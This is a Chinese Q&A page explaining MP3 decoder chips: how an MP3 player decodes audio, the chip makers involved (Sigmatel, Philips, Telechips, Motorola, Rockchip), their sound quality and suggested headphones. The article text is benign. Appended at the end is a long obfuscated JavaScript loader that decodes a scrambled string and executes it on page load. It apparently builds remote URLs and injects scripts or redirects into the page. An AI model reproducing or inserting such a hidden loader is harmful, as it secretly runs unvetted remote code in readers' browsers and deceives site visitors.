音乐解码芯片是什么东西?

2025-02-14 19:27:26
推荐回答(2个)
回答1:

硬件
MP3这个最初的贵族产品,到现在已经被大众所接受了,然而市面上的MP3的价格却让人摸不着头脑,同样是128M的MP3怎么有的要上千元而有的却只要300元?巨大的差价的原因是什么?下面就从MP3的解码芯片这方面为您揭开疑团。
在介绍解码芯片之前我们先来了解一下MP3的工作原理:首先将MP3歌曲文件从贮体上(闪存介质、硬盘介质、光碟介质)取出并读取存储器上的信号→到解码芯片对信号进行解码→通过数模转换器将解出来的数字信号转换成模拟信号→再把转换后的模拟音频放大→低通滤波后到耳机输出口,输出后就是我们所听到的音乐了。
解码芯片,它的作用顾名思义就是将贮体上的MP3文件解码。它从很大程度上决定了最终的音质表现。MP3是一种有损压缩的格式,如果MP3播放器拥有优秀的解码芯片就能够更好地还原音频信号的质量,很大程度上弥补音频信号的损失。相反的话,低端的解码芯片会令MP3的编码信息进一步损失。目前市场市场上MP3播放器当中最常见的芯片有:Sigmatel,Actions,Sunplus(凌阳),MosArt(华矽),Atmel,Telechip,PHILIPS,等,而以:Philips的SAA7750/SAA7751/PNX0101ET,Sigmatel的STMP3410/3420/1342,telechips的TCC730/TCC731,以及Sunplus的SPCA514A/SPCA751A,这几款为主流。
编辑本段微硬盘系
PP5020
代表产品:iPod Mini、iPod Photo、iRiver H10
主要功能:
能够脱离PC自行复制、查看、编制和修改图像;
支持PictBridge标准, 能脱离PC直接在HP和Canon的打印机上直接打印;
支持On-the-Go,直接把数码相机内部的图像传输到播放机中,支持高速USB 2.0传输协议;
能够连接电视,播放播放机中的图像(JPG, GIF和TIFF)和视频(MPEG);
能直接在Musicmatch, Napster, Real Audio等主流网上音乐服务中收听音乐,并且在Audible.com上收音音频电子书(audiobooks)。
自动连网,通过在线的Gracenote音乐服务,识别音乐标签,生成播放列表;
为播放机中所收藏的图像录制说明文字,并且可同步加入来自于同一播放机中的背景音乐。
建议搭配耳机:Koss KSC35、PX100、ATH-CM3、ATH-EQ33、歌德sr60 、Motorola SCF5249
代表产品:iRiver H320、COWON M5、MPIO HD200
SCF5249是同时整合了DSP音效解码与微控制器的系统管理功能的单晶片产品,也因此不论在系统开发成本与整体的耗电表现上,皆较其他非单晶片的产品更具市场竞争力。
这款SCF5249的电池续航力为40小时,远超过目前业界标准的30小时,它同时也支持多种不同的解码与档案格式,包括CD-ROM、快闪记忆卡、微硬盘机等等;而这样一来也使得采用这款产品的可携式音效装置,使得它除了可以做为个人随身的音效装置,同时也可以用来当做一个随身听、可携式MP3与CD-ROM平台。
SCF5249也支持包括MP3、WMA、AAC等各种不同的音乐格式,同步地满足消费者不同形式的音乐需求,而考量到未来不同音乐格式的扩充性,透过这款单晶片产品的采用,还可以进一步地通过升级的方式来加以扩充。
SCF5249是以Motorola的32位元CordFire核心为基础,使其得以具备同时音效解码与档案管理的功能并支持各种不同规格的解码与档案格式,同时搭配了整合型的SDRAM控制器,可以同步支持DRAM并得以快速地存取外部记忆体当中的资料内容,这款单晶片产品同时可以支持MMC、CF等快闪记忆体装置。
建议搭配耳机:B&O A8、ATH-CM5(可超越一般品质Discman)
德州仪器 :TMS320DA2XX
代表产品:创新Creative Zen Micro
这款芯片的强大我就不用多说了,有Money就选它吧。
建议搭配耳机:Sony 838 以上级别或ATH-CM以上级别
编辑本段闪存系
Sigmatel 3410/3420
代表产品:三星Sumsung 55H、MSC ha 128、JNC SSF800
如果要说目前MP3芯片市场占有率的话,那么美国的Sigmatel家族肯定是实至名归 ,但对于Sigmatel芯片的品质,却总是仁者见仁,智者见智。总体而言采用Sigmatel解码芯片的MP3音质表现会中规中矩,声音比较亮丽,中音表现一般,低音量感不足、高音比较生硬,它在音乐的表现上要逊于飞利浦和Telechips芯片。
该芯片的音质表现一般,多用在中、低档产品上。现在对于采用SigmaTel 3410芯片的方案已经很成熟,但如果没有在外围电路上增加更多设计的话,其音质会很一般。这也就是为什么虽然采用该芯片的产品很多,但音质表现却有云泥之别的原因了。
Sigmatel 3420更像是Sigmatel 3410的升级版,与STMP3410不支持MP3硬件编码,处理速度比较慢相比,Sigmatel 3420在Sigmatel 3410的基础上增加了对USB2.0的支持,修正了Sigmatel 3410对某些主板USB2.0不兼容的问题,还增加了MP3硬件编码功能,在音质方面也比Sigmatel 3410有所提高。
建议搭配耳机:原配即可,使用太高端耳机会造成资源浪费……。
Sigmatel 35XX
与Sigmatel 3410相比,Sigmatel 3510不仅支持USB2。0,而且改进了综合能源管理、支持电池充电功能检测、并且强化了数字/模拟转换器和耳机的音乐放大器电路、拥有子目录管理能力等智能化的功能,可以说Sigmatel家族的芯片发展到Sigmatel 3520迈出了一大步。
Sigmatel 3520改进了以往Sigmatel 3410/1342中音表现一般、高音生硬的缺点,音质清澈,信噪比据说可以达到95dB;增加了对MP3硬件编码、FM收音和USB2。0等功能的支持;Sigmatel 3520比前代产品在处理速度上也有所提升,达到了75MHz(34xx系列为65MHz)。现在市场各个价位的MP3都有Sigmatel 3520芯片的影子,也正说明了Sigmatel 3520芯片所取得的长足进步。
Sigmatel 3502,据称该芯片瞄准高端市场,将芯片与外围电路设计做了大幅度提升,被誉为第三代的解码芯片,将DSP数字信号处理器主频速率提升至75MHz,信噪比高达95db,输出功率达到了11mW,总谐波失真率也低于0.05%。
Sigmatel 34XX与Sigmatel 35XX系列的区别,主要是在以下两方面的改进:USB1.1提升至USB2.0;电池续航能力增长,如创新的TX-FM,采用1节7号电池可以连续播放15小时。
建议搭配耳机:创新HQ-65、PHILIPS HE261、Sony E828LP
PHILIPS SAA775X/PNX0101ET/PNX0102
代表产品:WeWa 王者之音、朝华魔音系列
如果一定要评出目前市场上最好的MP3解码芯片的话,那么无疑就是飞利浦芯片了。飞利浦家族的解码芯片在业界一直以其“功能全,音质好,价格高”而著称。
飞利浦SAA775x芯片是目前市场上MP3播放器解码芯片组中功能最全(支持CD直录),效果最好的解码芯片之一。该解码芯片的音质表现为:低音下沉较深、中音表现出色、而相比之下高音则显得一般。
因为SAA775x中内含DSP(Digital Signal Processing,数字信号处理)和32位ARM RISC处理器,所以能用超高集成度的单颗芯片,音频解码和语音编码等工作,并且可以加入SDMI(Secure Digital Music Initiative,安全式数字音乐)保护。
其中SAA7750内含DSP和32位ARM RISC处理器,信噪比为90dB。该芯片兼容多段多档位EQ智能音效,支持以ADPCM格式保存语音记录、同步显示歌名和歌曲信息、Line-in直录,此外还支持USB 1。1/2。0标准,支持多重音乐格式解码。而SAA7751仅有DSP内核和闪存,没有包含音频多媒体解编码器,只能用于本身可升级的MP3 CD光盘播放器上。SAA7752是一个针对价格的解决方案,只包含了DPS芯片,使用外置内存来存储数据,主要针对CD随身听。至于SAA7753,同样仅有DSP芯片,而且改变得更为彻底,干脆直接用嵌入式内存代替了闪存,对应低价格的CD播放系统,作为一个附加MP3的功能。
飞利浦SAA775x采用的嵌入式处理器,拥有高级能源管理功能,可以根据工作任务量需要控制处理器运行速度,以延长电池的使用时间,类似于普遍使用于高端的PDA和笔记本电脑的节能技术。因此,SAA775x芯片以普通音量播放128Kbps MP3时,单颗AA电池的供电时间可以长达24小时。当然这是芯片的理论工作时间,对于MP3播放器来说,由于生产工艺的制约,具体的工作时间就另当别论了。
PNX010x系列解码芯片也是一个大的系列,包括 PNX0101,PNX0102和PNX0105。其中PNX0102和PNX0102是专为闪存MP3随身听而开发的,而PNX0105则是针对硬盘式多媒体播放器的产品。
PNX0101内嵌4Mbit的可编程FLASH,只支持USB1.1。目前所有采用PNX0101芯片MP3所配备的USB2.0接口,都是通过另外增加USB2.0控制芯片来实现的。(注:与Molex的配合使用可支持USB2。0、SD/MMC扩展等)而PNX0102则内嵌有8Mbit的可编程FLASH,自身提供了对USB2.0的支持。PNX0105同样支持USB2.0,而且还支持GDMA和IDE(ATA/ATAPI/PC Card)等接口,但它没有内置可编程FLASH。
建议搭配耳机:森海塞尔MX500或以上级别、Sony E888、音特美ER6
Telchips TCC73X/TCC72X
去年才出现在市场上的韩国Telechips解码芯片,一经面世便获得一致好评,在韩国众多厂商的大力支持下成长迅速。从功能、性能、音质各方面来看,Telechips TCC730/731比Sigmatel的STMP3410之类的芯片着实要好一些,低音感充足、各频段表现比较平衡、而且音场更为宽阔;但与飞利浦SAA7750/7751相比还有一定差距。另外,Telechips TCC730价格比SAA7750便宜一点,但需要外接ROM,外围元件比较多,因此采用这种芯片的MP3产品难得有身材玲珑的产品面世。
业界普遍认为Telechips芯片各方面表现介于Sigmatel STMP3410和SAA7750/7751系列之间。采用该芯片的MP3在本身的音质基础上,如果配备了更为高档的耳机后还会有一定的提升。该类型的机子一般会标配森海塞尔MX300(或者OEM森海塞尔)耳机,该耳机属于森海塞尔普及型MX系列中最平民化的耳机,所以建议对音质有更高要求的朋友可以尝试森海塞尔MX500,或者更高档一点的KOSS SP/KOSS PP,森海塞尔PX100/PX200。因为采用该芯片的MP3在音质上有一定的潜力,而并不像所有经销商告诉你的,所有的MP3在更换高档耳机后音质都有提升,其实有些MP3自身芯片及设计,生产工艺的限制使得其已经不具有音质的挖掘空间。
建议搭配耳机:Sony Q55SL、Sony E888
编辑本段国产MP3芯片
瑞芯产品 >> 数字音视频处理芯片
瑞芯数字音视频处理芯片 RK26XX系列芯片,是一片支持MPEG-4视频解码播放功能的数字音视频处理芯片,采用0.18微米工艺制成,可应用于带MP4播放功能的便携式MP3播放器产品。 RK26XX 系列芯片,采用高度集成的数模混合设计,集成了32bit DSP Core和16bit ADC、18bit DAC,本芯片是客户开发高性价比的支持MPEG-4播放的便携式数字音视频播放器、数码外语学习机以及其他便携式多媒体产品的理想解决方案。 RK26XX能够在较低的频率和功耗下实现MPEG-4格式的视频文件的解码播放,画质清晰流畅。同时,RK26XX集成了大量 I/O控制接口,提供最大的应用灵活性。 RK26XX低功耗性能可为便携式播放器延长电池使用时间,其集成的智能锂电池充电器支持电压控制(AVC),与同类产品相比节约了系统功耗。集成的功率管理单元包含一个高效片上 DC-DC 转换器,支持 1×AA、1×AAA、锂离子电池等多种电池配置。此外,与传统的电压控制系统相比,AVC 使芯片能以更高的峰值 CPU 作业频率操作,从而实现最高运行速度达到100 MIPS。 RK26XX支持基于微软的DRM 10的数字版权管理技术,同时瑞芯的软件开发工具亦特别针对RK26XX集成了其他高级功能,有助于加快客户的Design in速度。RK26XX具有支持多任务处理功能,可以实现边看电子书边听音乐、边玩游戏时听音乐的产品功能。 RK26XX芯片集成了USB 2.0 High Speed/Full Speed PHY,传输速度更快;集成了支持TFT/CSTN/OLED彩屏的控制器。
RK27XX用更为先进的ARM+DSP双核架构,可同时完成承载操作系统及低功耗、高速度的数字信号处理算法,成为目前性能最强大的MP3解决方案。在保留RK26XX系列所有功能的基础之上,RK27XX视频兼容性更全面,包括AVI(XVID, DIVX)、WMV、RMVB,最高可支持到D1(720*480)分辨率流畅播放,还可支持FLASH动画;增加对RA、ACC音频格式的支持,新引入了音乐媒体库功能,方便用户管理大量的音乐文件;支持DC/DV、蓝牙、16位游戏功能;嵌入MiniOS操作系统,可开发个性化UI(图片叠加、透视、淡入淡出等效果)。此外,为应对便携式多媒体技术朝着3C融合方向发展的趋势,RK27xx将内置HD Radio或DAB功能,未来将支持GPS和移动电视功能。
突出功能:
1、 视频播放:支持MPEG-4格式的视频播放。
2、 音乐播放:支持MPEG1/2/2.5 Layer1/2/3全码率(8Kbps~384Kbps)音频播放;支持WMA音频播放,码率32Kbps-320Kbps。
3、 图片浏览:支持JPEG格式的图片浏览。
4、 文本阅读:支持TXT文本阅读。
5、 现场录音:支持内置麦克风现场录音,降噪处理,有长时间录音和优质录音可供选择。
6、 线路录音:支持LINE IN线路直录MP3功能(支持多种码率可选)。
7、 歌词显示:歌名、歌手及LRC歌词同步显示。
8、 多种音效:支持3D环绕立体声音效,支持摇滚、流行、古典、爵士、重低音等多种音效,并提供用户DIY音效功能。
9、 USB功能:兼容USB 2.0 High Speed/Full Speed。
10、 收音功能:提供FM收音功能(75MHz~108MHz)支持校园广播,并支持收音的录音功能。
11、 显示接口:支持STN/CSTN/TFT/OLED,PWM控制背光亮度。
12、 频谱显示:具有真实频谱显示功能。
13、 游戏功能:目前内置俄罗斯方块和推箱子等游戏。
14、 多任务处理功能:可以实现边看电子书边听音乐、边玩游戏时听音乐。
15、 固件升级:支持固件升级,实现本机的功能扩展。
16、 系统语言:支持简体、繁体中文、英文、韩文、日文、法文和德文等。
17、 多种存储兼容:支持多种品牌多种容量的闪存(Nand Flash Memory)和闪存卡(SD卡、Mini SD卡和MMC卡)。

回答2:

音乐解码芯片是一种用于解码音频数据的芯片。它可以将数字音频信号转换为模拟音频信号,使人们能够听到高质量的音乐。 音乐解码芯片通常由多个模块组成,每个模块负责不同的功能。其中最关键的模块是数字信号处理(DSP)模块,它负责将数字音频信号进行处理和解码。DSP模块使用数学算法将数字音频信号转换为模拟音频信号,并消除其中的噪音和失真。 另一个重要的模块是数字转模拟(DAC)模块,它将处理后的数字音频信号转换为模拟音频信号。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();